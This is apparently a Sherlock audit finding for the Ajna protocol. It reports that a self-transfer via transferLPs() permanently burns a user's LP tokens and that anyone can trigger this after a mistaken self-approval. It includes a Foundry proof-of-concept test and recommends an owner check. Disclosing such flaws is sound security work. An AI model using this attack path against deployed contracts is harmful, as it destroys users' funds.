LP tokens are permanently burned if they are transferred to the same account

name: Audit item about: These are the audit items that end up in the report title: LP tokens are permanently burned if they are transferred to the same account labels: "High" assignees: ""

Summary

Depositors' LP tokens can be transferred between accounts by first approving the transfer with approveLpOwnership() and then by calling the transferLPs() function. It is reasonable to assume that some users would use this function to transfer LP tokens between their own accounts to, for example, keep them in cold storage. If a user approves a transfer to the account holding the LP tokens instead of the one they wish to transfer it to anybody will be able to permanently burn their LP tokens by calling transferLPs().

This can be deemed a user mistake BUT it is a mistake that is allowed to happen in many interactions on EVM chains. Transferring ETH or an ERC20 to the same account has no consequences, it is even a viable way of canceling a transaction (for ETH transfers). Since the consequences are so grave and since it is likely to happen I deem it a severe vulnerability that would likely be blamed on the Ajna contract logic.

There is an incentive to burn any user's LP tokens if they approve ownership to the same account by mistake since it would essentially lock the tokens on the market for a fixed price in perpetuity.

Vulnerability Detail

If a user approves the transfer of LP tokens to the same account anybody can call transferLPs() and burn the approved tokens. In the LenderActions library from L543-L550 we can see that the newOwner_ balance is first incremented and that the balance of owner_ is then deleted. If those addresses are the same the user's balance is first increased and then permanently deleted.

POC

Add the following test to the ERC20TransferLPTokens.t.sol test file.

function testBurnWhenSelfTransfer() public {
        uint256[] memory indexes = new uint256[](3);
        indexes[0] = 2550;
        indexes[1] = 2551;
        indexes[2] = 2552;

        _addInitialLiquidity(
            {
                from:   _lender1,
                amount: 10_000 * 1e18,
                index:  indexes[0]
            }
        );
        _addInitialLiquidity(
            {
                from:   _lender1,
                amount: 20_000 * 1e18,
                index:  indexes[1]
            }
        );
        _addInitialLiquidity(
            {
                from:   _lender1,
                amount: 30_000 * 1e18,
                index:  indexes[2]
            }
        );

        _assertLenderLpBalance(
            {
                lender:      _lender1,
                index:       indexes[0],
                lpBalance:   10_000 * 1e27,
                depositTime: _startTime 
            }
        );
        _assertLenderLpBalance(
            {
                lender:      _lender1,
                index:       indexes[1],
                lpBalance:   20_000 * 1e27,
                depositTime: _startTime 
            }
        );

        _assertLenderLpBalance(
            {
                lender:      _lender1,
                index:       indexes[2],
                lpBalance:   30_000 * 1e27,
                depositTime: _startTime 
            }
        );

        _pool.approveLpOwnership(_lender1, indexes[0], 10_000 * 1e27);
        _pool.approveLpOwnership(_lender1, indexes[1], 20_000 * 1e27);
        _pool.approveLpOwnership(_lender1, indexes[2], 30_000 * 1e27);

        _transferLpTokens(
            {
                operator:  _lender,
                from:      _lender1,
                to:        _lender1,
                indexes:   indexes,
                lpBalance: 60_000 * 1e27
            }
        );

        _assertLenderLpBalance(
            {
                lender:      _lender1,
                index:       indexes[0],
                lpBalance:   0,
                depositTime: 0
            }
        );

        _assertLenderLpBalance(
            {
                lender:      _lender1,
                index:       indexes[1],
                lpBalance:   0,
                depositTime: 0
            }
        );

        _assertLenderLpBalance(
            {
                lender:      _lender1,
                index:       indexes[2],
                lpBalance:   0,
                depositTime: 0
            }
        );
    }

Impact

All LP tokens approved are permanently burned and the underlying funds are unrecoverable.

Code Snippet

https://github.com/sherlock-audit/2023-01-ajna/blob/main/contracts/src/base/Pool.sol#L238

https://github.com/sherlock-audit/2023-01-ajna/blob/main/contracts/src/libraries/external/LenderActions.sol#L543-L550

https://github.com/sherlock-audit/2023-01-ajna/blob/main/contracts/src/base/Pool.sol#L164

Tool used

foundry test

Recommendation

Add a check that owner_ != newOwner_ in the transferLPs() function in the LenderActions library.

sherlock-audit / 2023-01-ajna-judging

Tajobin - LP tokens are permanently burned if they are transferred to the same account #173